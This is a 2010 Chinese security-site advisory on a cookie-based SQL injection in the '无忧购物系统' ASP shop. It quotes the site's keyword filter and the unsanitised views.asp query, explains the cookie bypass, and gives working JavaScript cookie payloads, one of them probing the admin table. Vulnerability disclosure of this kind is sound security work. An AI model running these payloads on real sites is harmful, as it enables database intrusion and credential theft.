Linux安全网 - Linux操作系统_Linux 命令_Linux教程_Linux黑客

会员投稿 投稿指南 本期推荐:
搜索:
您的位置: Linux安全网 > Linux安全 > » 正文

无忧购物系统cookies注入oday漏洞

来源: 未知 分享至:

无忧购物系统cookies注入oday漏洞

发布日期:2010-04-18  
发布作者:流浪的风   
影响版本:未知  
漏洞描述: 
其实代码中出现了多处SQLintection,但是在Conn.asp中: 

Set Conn = Nothing Response.Write "数据库连接出错"  Response.End  End If  %> <!--#include file="sqlcheck.asp"-->

翻开了sqlcheck.asp,部分代码如下:

 For Fy_x=0 to ubound(Fy_Cs)
If Fy_Cs(Fy_x)<>"" Then
If Instr(LCase(Request(Fy_Cs(Fy_x))),"'")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"and")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"select")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"update")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"chr")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"delete%20from")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),";")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"insert")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"mid")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"master.")<>0 Then
response.Write "<script language='javascript'>alert('出现错误,请勿尝试类似操作!');history.go(-1);</script>"
Response.End
 

过滤得还真不少~ '|and|select|update|mid|....等等等等 - -

但问题不是很大的说~~ 先贴上一处吧,views.asp 部分代码如下:

<%hw_id=Request("hw_id")
sql="select * from hw where hw_id="&hw_id&""
rs.open sql,conn,3,3
if rs.eof then%><tr><td height="200" colspan="3" align="center"& gt;没有找到你要查看的商品,您可以<a href="search.asp"><font color="#FF0000"& gt;点击这里进行详细搜索</font></a>!</td></tr>
<%else
rs("hw_views")=rs("hw_views")+1
rs.update
 


可以看到,hw_id=Request("hw_id"),呵,如果管理员直接:

hw_id=Requet(Replace("hw_id","'","")) 或 hw_id=Requet(Replace("hw_id","'",""")) 下 或许我还难办点~~

(Ps:哎,自从国内推出了防注射代码后,程序员们都变懒了~~~)

request集合中包含了cookie,所以 无论他的防注射代码多么的BT,咱们都可以忽略了:)

 

测试代码如下:

http://www.xxx.com/views.asp?hw_id=503

清空浏览器后提交:javascript:alert(document.cookie="hw_id=" + escape("503 and 1=1"))

javascript:alert(document.cookie="hw_id=" + escape("503 and 1=2"))

 

直接判断出存在注入了

javascript:alert(document.cookie="hw_id=" + escape ("506 and (select count(admin_name) from admin)>0"))

 


最新图文资讯
1 2 3 4 5 6
验证码:点击我更换图片 理智评论文明上网,拒绝恶意谩骂 用户名:
关于我们 - 联系我们 - 广告服务 - 友情链接 - 网站地图 - 版权声明 - 发展历史